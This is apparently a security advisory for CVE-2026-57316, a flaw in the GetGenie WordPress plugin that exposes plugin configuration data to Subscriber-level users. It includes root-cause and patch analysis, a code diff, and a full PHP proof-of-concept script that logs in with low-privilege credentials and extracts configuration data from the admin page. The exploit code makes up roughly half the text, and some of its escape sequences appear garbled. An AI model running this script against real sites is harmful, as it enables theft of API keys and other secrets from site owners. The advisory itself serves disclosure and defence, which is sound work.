Atomic Edge analysis of CVE-2026-57316:
The GetGenie plugin for WordPress versions 4.4.2 and earlier contains a sensitive information exposure vulnerability. Authenticated attackers with Subscriber-level access or above can extract sensitive user or configuration data. The flaw resides in the genie_header_script_data() function defined in /getgenie/getgenie.php.
Root Cause:
The vulnerability exists because the genie_header_script_data() function lacks any access control checks. In the vulnerable code, this function executes unconditionally, exposing internal plugin configuration data and user information. The function is hooked into WordPress’s admin_head action or similar header output hooks, which means it fires when the WordPress admin interface loads. Subscriber-level users, who should only have minimal access, can access the admin dashboard and trigger this function.
Exploitation:
An attacker with Subscriber-level credentials can trigger the vulnerability by accessing the WordPress admin area. For example, visiting /wp-admin/ or any admin page sends a request that invokes the vulnerable function. The genie_header_script_data() function may output script data containing API keys, nonce values, or configuration details directly into the HTML source. An attacker could also craft a specific request to an AJAX endpoint that calls this function if it is registered as a wp_ajax_* hook. The exact output depends on the plugin’s internal data handling, but the function typically outputs JSON-encoded configuration data.
Patch Analysis:
The patch adds a permission check at the beginning of genie_header_script_data(): if (!is_user_logged_in() || !current_user_can(‘publish_posts’)) { return; }. This ensures the function only executes for users who have the ‘publish_posts’ capability, which typically maps to Author-level or higher roles. Before the patch, the function executed for any logged-in user regardless of their role, leaking sensitive data to low-privilege users.
Impact:
Successful exploitation allows a Subscriber-level attacker to extract sensitive configuration data, potentially including API credentials, internal URLs, nonce values, or other plugin-specific secrets. This information could be used to further compromise the site, access external services that the plugin integrates with, or bypass other security controls.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/getgenie/getgenie.php
+++ b/getgenie/getgenie.php
@@ -5,7 +5,7 @@
* Description: GetGenie AI is the most intuitive A.I Content Wordpress Plugin that can help you save time and write smarter.
* Plugin URI: https://getgenie.ai/
* Author: getgenieai
- * Version: 4.4.2
+ * Version: 4.4.3
* Author URI: https://getgenie.ai/
*
* Text Domain: getgenie
@@ -20,7 +20,7 @@
defined('ABSPATH') || exit;
-define('GETGENIE_VERSION', '4.4.2');
+define('GETGENIE_VERSION', '4.4.3');
define('GETGENIE_TEXTDOMAIN', 'getgenie');
define('GETGENIE_BASENAME', plugin_basename(__FILE__));
define('GETGENIE_URL', trailingslashit(plugin_dir_url(__FILE__)));
@@ -172,6 +172,10 @@
function genie_header_script_data()
{
+ if (!is_user_logged_in() || !current_user_can('publish_posts')) {
+ return;
+ }
+
$wizard_screen = null;
$is_block_editor = null;
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57316 - GetGenie – AI Content Writer with Keyword Research & SEO Tracking <= 4.4.2 - Authenticated (Subscriber+) Sensitive Information Exposure
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'attacker'; // Subscriber-level username
$password = 'password'; // Subscriber-level password
// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Access admin area to trigger genie_header_script_data()
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Look for sensitive data in the response (search for potential GetGenie script output)
if (preg_match('/var getgenie_config/i', $response)) {
echo "[+] Sensitive data found in the response.n";
// Extract the script data portion
preg_match('/<script[^>]*data-getgenie[^>]*>.*?</script>/is', $response, $matches);
if (!empty($matches[0])) {
echo "[+] Extracted data:n" . $matches[0] . "n";
} else {
echo "[+] The response contains getgenie configuration data.n";
// Print relevant lines
$lines = explode("n", $response);
foreach ($lines as $line) {
if (stripos($line, 'getgenie') !== false) {
echo $line . "n";
}
}
}
} else {
echo "[-] No sensitive data detected. The plugin may be patched or not active.n";
}
// Clean up
@unlink('cookies.txt');
?>
